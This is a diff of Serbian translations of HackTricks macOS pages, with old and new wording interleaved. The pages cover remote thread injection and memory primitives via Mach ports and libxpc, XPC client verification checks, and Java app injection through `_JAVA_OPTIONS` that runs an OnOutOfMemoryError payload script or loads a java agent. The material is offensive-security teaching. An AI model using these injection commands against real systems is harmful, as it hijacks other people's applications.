Fokus je na lokalnom portu, gde lokalni zadatak drži primanje prava. Port se kreira pomoću `mach_port_allocate()`. Izazov leži u prenosu prava slanja na ovaj port u udaljeni zadatak.
Fokusirajući se na lokalni port, pravo primanja drži lokalni task. Port se kreira sa `mach_port_allocate()`. Izazov leži u prenosu prava slanja na ovaj port u udaljeni task.
Jedna strategija uključuje iskorišćavanje `thread_set_special_port()` da bi se postavilo pravo slanja na lokalni port u `THREAD_KERNEL_PORT` udaljene niti. Zatim se udaljenoj niti nalaže da pozove `mach_thread_self()` da bi dobila pravo slanja.
Strategija uključuje korišćenje `thread_set_special_port()` da se postavi pravo slanja na lokalni port u `THREAD_KERNEL_PORT` udaljene niti. Zatim, udaljenoj niti se naređuje da pozove `mach_thread_self()` da bi dobila pravo slanja.
Za udaljeni port, proces je suštinski obrnut. Udaljenoj niti se nalaže da generiše Mach port putem `mach_reply_port()` (jer `mach_port_allocate()` nije pogodan zbog mehanizma povratka). Nakon kreiranja porta, u udaljenoj niti se poziva `mach_port_insert_right()` da bi se uspostavilo pravo slanja. Ovo pravo se zatim smešta u kernel pomoću `thread_set_special_port()`. U lokalnom zadatku se zatim koristi `thread_get_special_port()` na udaljenoj niti da bi se dobilo pravo slanja na novo dodeljeni Mach port u udaljenom zadatku.
Za udaljeni port, proces je suštinski obrnut. Udaljenoj niti se naređuje da generiše Mach port putem `mach_reply_port()` (jer `mach_port_allocate()` nije prikladan zbog svog mehanizma vraćanja). Nakon kreiranja porta, `mach_port_insert_right()` se poziva u udaljenoj niti da bi se uspostavilo pravo slanja. Ovo pravo se zatim čuva u kernelu koristeći `thread_set_special_port()`. Ponovo u lokalnom tasku, `thread_get_special_port()` se koristi na udaljenoj niti da bi se steklo pravo slanja na novokreirani Mach port u udaljenom tasku.
Završetak ovih koraka rezultira uspostavljanjem Mach portova, postavljajući osnovu za dvosmernu komunikaciju.
Završetak ovih koraka rezultira uspostavljanjem Mach portova, postavljajući temelje za dvosmernu komunikaciju.
## 3. Osnovni primitivi za čitanje/pisanje memorije
## 3. Basic Memory Read/Write Primitives
U ovoj sekciji fokus je na korišćenju izvršnog primitiva za uspostavljanje osnovnih primitiva za čitanje i pisanje memorije. Ovi početni koraci su ključni za dobijanje veće kontrole nad udaljenim procesom, iako primitivi u ovoj fazi neće služiti mnogo svrsi. Uskoro će biti nadograđeni na naprednije verzije.
U ovom odeljku, fokus je na korišćenju izvršnog primitiva za uspostavljanje osnovnih primitiva za čitanje i pisanje u memoriju. Ovi inicijalni koraci su ključni za sticanje veće kontrole nad udaljenim procesom, iako primitivi u ovoj fazi neće služiti mnogim svrhama. Ubrzo će biti unapređeni na naprednije verzije.
### Čitanje i pisanje memorije korišćenjem izvršnog primitiva
### Memory Reading and Writing Using Execute Primitive
Cilj je izvršiti čitanje i pisanje memorije koristeći određene funkcije. Za čitanje memorije koriste se funkcije slične sledećoj strukturi:
Cilj je izvršiti čitanje i pisanje u memoriju koristeći specifične funkcije. Za čitanje memorije koriste se funkcije koje podsećaju na sledeću strukturu:
```c
uint64_t read_func(uint64_t *address) {
return *address;
}
```
I za pisanje u memoriju, koriste se funkcije slične ovoj strukturi:
I za pisanje u memoriju koriste se funkcije slične ovoj strukturi:
```c
void write_func(uint64_t *address, uint64_t value) {
*address = value;
}
```
Ove funkcije odgovaraju datim sklopovskim instrukcijama:
Ove funkcije odgovaraju datim asembler instrukcijama:
```
_read_func:
ldr x0, [x0]
@ -71,57 +72,57 @@ _write_func:
str x1, [x0]
ret
```
### Identifikacija odgovarajućih funkcija
### Identifying Suitable Functions
Skeniranje uobičajenih biblioteka otkrilo je odgovarajuće kandidate za ove operacije:
Skeneranje uobičajenih biblioteka otkrilo je odgovarajuće kandidate za ove operacije:
1. **Čitanje memorije:**
Funkcija `property_getName()` iz [Objective-C runtime biblioteke](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) identifikovana je kao odgovarajuća funkcija za čitanje memorije. Funkcija je prikazana ispod:
1. **Reading Memory:**
Funkcija `property_getName()` iz [Objective-C runtime biblioteke](https://opensource.apple.com/source/objc4/objc4-723/runtime/objc-runtime-new.mm.auto.html) je identifikovana kao pogodna funkcija za čitanje memorije. Funkcija je opisana u nastavku:
```c
const char *property_getName(objc_property_t prop) {
return prop->name;
}
```
Ova funkcija efektivno deluje kao `read_func` vraćajući prvo polje `objc_property_t`.
Ova funkcija efikasno deluje kao `read_func` vraćajući prvo polje `objc_property_t`.
2. **Pisanje u memoriju:**
Pronalaženje prethodno izgrađene funkcije za pisanje u memoriju je izazovnije. Međutim, funkcija `_xpc_int64_set_value()` iz libxpc je odgovarajući kandidat sa sledećim rastavljanjem:
2. **Pisanje u Memoriju:**
Pronalaženje unapred izgrađene funkcije za pisanje u memoriju je izazovnije. Međutim, funkcija `_xpc_int64_set_value()` iz libxpc je pogodan kandidat sa sledećom disasembly:
```c
__xpc_int64_set_value:
str x1, [x0, #0x18]
ret
```
Da biste izvršili 64-bitni upis na određenoj adresi, udaljeni poziv je strukturiran na sledeći način:
Da biste izvršili 64-bitno pisanje na specifičnu adresu, dalji poziv se strukturira kao:
```c
_xpc_int64_set_value(address - 0x18, value)
```
Sa ovim osnovama postavljenim, stvorena je osnova za stvaranje deljene memorije, što predstavlja značajan napredak u kontroli udaljenog procesa.
Sa ovim postavljenim osnovama, scena je postavljena za kreiranje deljene memorije, što predstavlja značajan napredak u kontroli udaljenog procesa.
## 4. Postavljanje deljene memorije
## 4. Postavljanje Deljene Memorije
Cilj je uspostaviti deljenu memoriju između lokalnih i udaljenih zadataka, olakšavajući prenos podataka i omogućavajući pozivanje funkcija sa više argumenata. Pristup uključuje korišćenje `libxpc` i njenog objekta tipa `OS_xpc_shmem`, koji se zasniva na unosima memorije Mach.
Cilj je uspostaviti deljenu memoriju između lokalnih i udaljenih zadataka, pojednostavljujući prenos podataka i olakšavajući pozivanje funkcija sa više argumenata. Pristup uključuje korišćenje `libxpc` i njegovog `OS_xpc_shmem` tipa objekta, koji se zasniva na Mach memorijskim unosima.
### Pregled procesa:
### Pregled Procesa:
1. **Alokacija memorije**:
- Alokacija memorije za deljenje korišćenjem `mach_vm_allocate()`.
- Korišćenje `xpc_shmem_create()` za kreiranje objekta `OS_xpc_shmem` za alocirani region memorije. Ova funkcija će upravljati kreiranjem unosa memorije Mach i čuvati Mach send pravo na offsetu `0x18` objekta `OS_xpc_shmem`.
1. **Alokacija Memorije**:
- Alocirajte memoriju za deljenje koristeći `mach_vm_allocate()`.
- Koristite `xpc_shmem_create()` za kreiranje `OS_xpc_shmem` objekta za alociranu memorijsku oblast. Ova funkcija će upravljati kreiranjem Mach memorijskog unosa i čuvati Mach pravo slanja na offsetu `0x18` objekta `OS_xpc_shmem`.
2. **Kreiranje deljene memorije u udaljenom procesu**:
- Alokacija memorije za objekat `OS_xpc_shmem` u udaljenom procesu pomoću udaljenog poziva `malloc()`.
- Kopiranje sadržaja lokalnog objekta `OS_xpc_shmem` u udaljeni proces. Međutim, ova početna kopija će imati netačna imena unosa memorije Mach na offsetu `0x18`.
2. **Kreiranje Deljene Memorije u Udaljenom Procesu**:
- Alocirajte memoriju za `OS_xpc_shmem` objekat u udaljenom procesu sa udaljenim pozivom na `malloc()`.
- Kopirajte sadržaj lokalnog `OS_xpc_shmem` objekta u udaljeni proces. Međutim, ova inicijalna kopija će imati netačne nazive Mach memorijskih unosa na offsetu `0x18`.
3. **Ispravljanje unosa memorije Mach**:
- Koristite metodu `thread_set_special_port()` za umetanje send prava za unos memorije Mach u udaljeni zadatak.
- Ispravite polje unosa memorije Mach na offsetu `0x18` tako što ćete ga prepisati imenom unosa memorije udaljenog zadatka.
3. **Ispravljanje Mach Memorijskog Unosa**:
- Iskoristite metodu `thread_set_special_port()` da umetnete pravo slanja za Mach memorijski unos u udaljeni zadatak.
- Ispravite polje Mach memorijskog unosa na offsetu `0x18` prepisivanjem sa imenom udaljenog memorijskog unosa.
4. **Završno postavljanje deljene memorije**:
- Validirajte udaljeni objekat `OS_xpc_shmem`.
- Ustanovite mapiranje deljene memorije pomoću udaljenog poziva `xpc_shmem_remote()`.
4. **Finalizacija Postavljanja Deljene Memorije**:
- Validirajte udaljeni `OS_xpc_shmem` objekat.
- Uspostavite mapiranje deljene memorije sa udaljenim pozivom na `xpc_shmem_remote()`.
Prateći ove korake, deljena memorija između lokalnih i udaljenih zadataka će biti efikasno postavljena, omogućavajući jednostavan prenos podataka i izvršavanje funkcija koje zahtevaju više argumenata.
Prateći ove korake, deljena memorija između lokalnih i udaljenih zadataka biće efikasno postavljena, omogućavajući jednostavne prenose podataka i izvršavanje funkcija koje zahtevaju više argumenata.
## Dodatni isečci koda
## Dodatni Kodni Isječci
Za alokaciju memorije i kreiranje objekta deljene memorije:
```c
@ -133,47 +134,48 @@ Za kreiranje i ispravljanje objekta deljene memorije u udaljenom procesu:
malloc(); // for allocating memory remotely
thread_set_special_port(); // for inserting send right
```
Zapamtite da pravilno rukujete detaljima Mach portova i imenima memorijskih unosa kako biste osigurali ispravno funkcionisanje podele deljene memorije.
Zapamtite da pravilno obradite detalje Mach portova i imena ulaza u memoriju kako biste osigurali da podešavanje deljene memorije funkcioniše ispravno.
## 5. Postizanje potpune kontrole
## 5. Postizanje Potpunog Kontrola
Nakon uspešnog uspostavljanja deljene memorije i sticanja proizvoljnih izvršnih mogućnosti, suštinski smo stekli potpunu kontrolu nad ciljnim procesom. Ključne funkcionalnosti koje omogućavaju ovu kontrolu su:
Nakon uspešnog uspostavljanja deljene memorije i sticanja sposobnosti proizvoljnog izvršavanja, suštinski smo stekli potpunu kontrolu nad ciljnim procesom. Ključne funkcionalnosti koje omogućavaju ovu kontrolu su:
1. **Proizvoljne operacije nad memorijom**:
- Izvršite proizvoljno čitanje memorije pozivanjem `memcpy()` funkcije za kopiranje podataka iz deljenog regiona.
- Izvršite proizvoljno pisanje memorije koristeći `memcpy()` funkciju za prenos podataka u deljeni region.
1. **Proizvoljne Operacije sa Memorijom**:
- Izvršite proizvoljna čitanja iz memorije pozivajući `memcpy()` da kopira podatke iz deljene oblasti.
- Izvršite proizvoljna pisanja u memoriju koristeći `memcpy()` za prenos podataka u deljenu oblast.
2. **Rukovanje pozivima funkcija sa više argumenata**:
2. **Obrada Poziva Funkcija sa Više Argumenta**:
- Za funkcije koje zahtevaju više od 8 argumenata, rasporedite dodatne argumente na steku u skladu sa konvencijom pozivanja.
3. **Prenos Mach portova**:
- Prenosite Mach portove između zadataka putem Mach poruka putem prethodno uspostavljenih portova.
3. **Prenos Mach Portova**:
- Prenesite Mach portove između zadataka putem Mach poruka preko prethodno uspostavljenih portova.
4. **Prenos deskriptora fajlova**:
- Prenosite deskriptore fajlova između procesa koristeći fileportove, tehniku istaknutu od strane Iana Beera u `triple_fetch`.
4. **Prenos Fajl Deskriptora**:
- Prenesite fajl deskriptore između procesa koristeći fileports, tehniku koju je istakao Ian Beer u `triple_fetch`.
Ova sveobuhvatna kontrola je obuhvaćena bibliotekom [threadexec](https://github.com/bazad/threadexec), koja pruža detaljnu implementaciju i korisnički prijateljski API za interakciju sa ciljnim procesom.
Ova sveobuhvatna kontrola je obuhvaćena unutar [threadexec](https://github.com/bazad/threadexec) biblioteke, koja pruža detaljnu implementaciju i korisnički prijateljski API za interakciju sa procesom žrtve.
## Važne razmatranja:
## Važne Napomene:
- Obezbedite pravilnu upotrebu `memcpy()` funkcije za operacije čitanja/pisanja memorije kako biste održali stabilnost sistema i integritet podataka.
- Prilikom prenosa Mach portova ili deskriptora fajlova, pratite odgovarajuće protokole i odgovorno rukujte resursima kako biste sprečili curenje ili neželjeni pristup.
- Osigurajte pravilnu upotrebu `memcpy()` za operacije čitanja/pisanja u memoriju kako biste održali stabilnost sistema i integritet podataka.
- Prilikom prenosa Mach portova ili fajl deskriptora, pridržavajte se pravilnih protokola i odgovorno rukujte resursima kako biste sprečili curenje ili nepredviđeni pristup.
Prateći ove smernice i koristeći biblioteku `threadexec`, možete efikasno upravljati i interagovati sa procesima na detaljnom nivou, postižući potpunu kontrolu nad ciljnim procesom.
Pridržavanjem ovih smernica i korišćenjem `threadexec` biblioteke, može se efikasno upravljati i interagovati sa procesima na granularnom nivou, postižući potpunu kontrolu nad ciljnim procesom.
## Reference
* [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# Provera povezivanja procesa u macOS XPC-u
# macOS XPC Connecting Process Check
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Provera povezivanja procesa u XPC-u
## XPC Connecting Process Check
Kada se uspostavi veza sa XPC servisom, server će proveriti da li je veza dozvoljena. Ovo su provere koje obično vrši:
Kada se uspostavi veza sa XPC servisom, server će proveriti da li je veza dozvoljena. Ovo su provere koje bi obično izvršio:
1. Provera da li je povezani **proces potpisan Apple-ovim** sertifikatom (koji se dodeljuje samo od strane Apple-a).
* Ako ovo **nije verifikovano**, napadač može kreirati **lažni sertifikat** koji odgovara bilo kojoj drugoj proveri.
2. Provera da li je povezani proces potpisan **sertifikatom organizacije** (verifikacija ID-a tima).
* Ako ovo **nije verifikovano**, **bilo koji razvojni sertifikat** od Apple-a može se koristiti za potpisivanje i povezivanje sa servisom.
3. Provera da li povezani proces **sadrži odgovarajući bundle ID**.
* Ako ovo **nije verifikovano**, bilo koji alat **potpisan od iste organizacije** može se koristiti za interakciju sa XPC servisom.
4. (4 ili 5) Provera da li povezani proces ima **odgovarajući broj verzije softvera**.
* Ako ovo **nije verifikovano**, stari, nesigurni klijenti koji su podložni ubacivanju procesa mogu se koristiti za povezivanje sa XPC servisom čak i uz ostale provere.
5. (4 ili 5) Provera da li povezani proces ima ojačano izvršavanje sa opasnim privilegijama (poput onih koje omogućavaju učitavanje proizvoljnih biblioteka ili korišćenje DYLD env varijabli).
1. Ako ovo **nije verifikovano**, klijent može biti **podložan ubacivanju koda**.
6. Provera da li povezani proces ima **privilegiju** koja mu omogućava povezivanje sa servisom. Ovo se odnosi na Apple binarne fajlove.
7. **Verifikacija** se mora **bazirati** na **audit token-u klijenta** koji se povezuje, **umesto** na njegovom ID-u procesa (**PID**) jer prvo sprečava **napade ponovnom upotrebom PID-a**.
* Razvojni programeri **retko koriste** API poziv za audit token jer je **privatan**, pa Apple može **promeniti** to u bilo kom trenutku. Takođe, korišćenje privatnih API-ja nije dozvoljeno u aplikacijama Mac App Store-a.
* Ako se koristi metoda **`processIdentifier`**, može biti ranjiva
* Treba koristiti **`xpc_dictionary_get_audit_token`** umesto **`xpc_connection_get_audit_token`**, jer poslednja može biti [ranjiva u određenim situacijama](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
1. Proveri da li je **proces koji se povezuje potpisan Apple-ovim** sertifikatom (samo ga Apple izdaje).
* Ako ovo **nije verifikovano**, napadač bi mogao da kreira **lažni sertifikat** koji bi odgovarao bilo kojoj drugoj proveri.
2. Proveri da li je proces koji se povezuje potpisan **sertifikatom organizacije** (verifikacija tim ID-a).
* Ako ovo **nije verifikovano**, **bilo koji developerski sertifikat** od Apple-a može se koristiti za potpisivanje i povezivanje sa servisom.
3. Proveri da li proces koji se povezuje **sadrži odgovarajući bundle ID**.
* Ako ovo **nije verifikovano**, bilo koji alat **potpisan od iste organizacije** mogao bi se koristiti za interakciju sa XPC servisom.
4. (4 ili 5) Proveri da li proces koji se povezuje ima **odgovarajući broj verzije softvera**.
* Ako ovo **nije verifikovano**, stari, nesigurni klijenti, ranjivi na injekciju procesa mogli bi se koristiti za povezivanje sa XPC servisom čak i uz druge provere.
5. (4 ili 5) Proveri da li proces koji se povezuje ima ojačanu runtime bez opasnih prava (kao što su ona koja omogućavaju učitavanje proizvoljnih biblioteka ili korišćenje DYLD env varijabli).
* Ako ovo **nije verifikovano**, klijent bi mogao biti **ranjiv na injekciju koda**.
6. Proveri da li proces koji se povezuje ima **pravo** koje mu omogućava povezivanje sa servisom. Ovo se primenjuje na Apple binarne datoteke.
7. **Verifikacija** mora biti **zasnovana** na **audit token-u klijenta** **umesto** na njegovom ID-u procesa (**PID**) jer prvi sprečava **napade ponovne upotrebe PID-a**.
* Programeri **retko koriste audit token** API poziv jer je **privatan**, tako da Apple može **promeniti** u bilo kojem trenutku. Pored toga, korišćenje privatnog API-ja nije dozvoljeno u aplikacijama Mac App Store-a.
* Ako se koristi metoda **`processIdentifier`**, može biti ranjiva.
* **`xpc_dictionary_get_audit_token`** treba koristiti umesto **`xpc_connection_get_audit_token`**, jer bi poslednji mogao biti [ranjiv u određenim situacijama](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
### Napadi na komunikaciju
### Communication Attacks
Za više informacija o napadu ponovnom upotrebom PID-a pogledajte:
Za više informacija o napadu ponovne upotrebe PID-a proverite:
{% content-ref url="macos-pid-reuse.md" %}
[macos-pid-reuse.md](macos-pid-reuse.md)
{% endcontent-ref %}
Za više informacija o napadu **`xpc_connection_get_audit_token`** pogledajte:
Za više informacija o napadu **`xpc_connection_get_audit_token`** proverite:
{% content-ref url="macos-xpc_connection_get_audit_token-attack.md" %}
[macos-xpc\_connection\_get\_audit\_token-attack.md](macos-xpc\_connection\_get\_audit\_token-attack.md)
{% endcontent-ref %}
### Prevencija napada na Trustcache - Downgrade
### Trustcache - Downgrade Attacks Prevention
Trustcache je defanzivna metoda koja je uvedena u Apple Silicon mašinama i čuva bazu podataka CDHSAH Apple binarnih fajlova, tako da se mogu izvršavati samo dozvoljeni, nepromenjeni binarni fajlovi. Ovo sprečava izvršavanje verzija sa nižim nivoom sigurnosti.
Trustcache je odbrambena metoda uvedena u Apple Silicon mašinama koja čuva bazu podataka CDHSAH Apple binarnih datoteka tako da samo dozvoljene neizmenjene binarne datoteke mogu biti izvršene. Što sprečava izvršavanje verzija sa smanjenim nivoom.
### Primeri koda
### Code Examples
Server će implementirati ovu **verifikaciju** u funkciji nazvanoj **`shouldAcceptNewConnection`**.
Server će implementirati ovu **verifikaciju** u funkciji pod nazivom **`shouldAcceptNewConnection`**.
{% code overflow="wrap" %}
```objectivec
@ -65,9 +66,9 @@ return YES;
```
{% endcode %}
Objekat NSXPCConnection ima **privatno** svojstvo **`auditToken`** (ono koje treba koristiti, ali se može promeniti) i **javno** svojstvo **`processIdentifier`** (ono koje ne treba koristiti).
Objekat NSXPCConnection ima **privatnu** osobinu **`auditToken`** (onu koja bi trebala da se koristi, ali može da se promeni) i **javnu** osobinu **`processIdentifier`** (onu koja ne bi trebala da se koristi).
Povezani proces može se proveriti na sledeći način:
Povezani proces može se verifikovati sa nečim poput:
{% code overflow="wrap" %}
```objectivec
@ -91,7 +92,7 @@ SecTaskValidateForRequirement(taskRef, (__bridge CFStringRef)(requirementString)
```
{% endcode %}
Ako programer ne želi da proverava verziju klijenta, on može barem proveriti da klijent nije podložan ubacivanju procesa:
Ako programer ne želi da proveri verziju klijenta, mogao bi da proveri da klijent nije podložan injekciji procesa barem:
{% code overflow="wrap" %}
```objectivec
@ -110,16 +111,17 @@ return Yes; // Accept connection
```
{% endcode %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ubacivanje Java aplikacija u macOS
# macOS Java Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Enumeracija
## Enumeration
Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke Java parametre koji sadrže string **`java.`**, pa možete pretražiti to:
Pronađite Java aplikacije instalirane na vašem sistemu. Primećeno je da Java aplikacije u **Info.plist** sadrže neke java parametre koji sadrže string **`java.`**, tako da možete pretraživati za tim:
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
@ -26,7 +27,7 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubacivanje proizvoljnih Java parametara prilikom izvršavanja Java kompajlirane aplikacije:
Promenljiva okruženja **`_JAVA_OPTIONS`** može se koristiti za ubrizgavanje proizvoljnih java parametara u izvršavanje java kompajlirane aplikacije:
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
return 0;
}
```
Međutim, to će izazvati grešku na izvršenoj aplikaciji, drugi, još prikriveniji način je da se kreira Java agent i koristi:
Međutim, to će izazvati grešku na izvršnoj aplikaciji, drugi, suptilniji način je da se kreira java agent i koristi:
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
Kreiranje agenta sa **različitom verzijom Java-e** od aplikacije može izazvati pad izvršavanja kako agenta tako i aplikacije.
Kreiranje agenta sa **drugom verzijom Jave** od aplikacije može uzrokovati pad izvršavanja i agenta i aplikacije
{% endhint %}
Gde agent može biti:
@ -131,7 +132,7 @@ Agent-Class: Agent
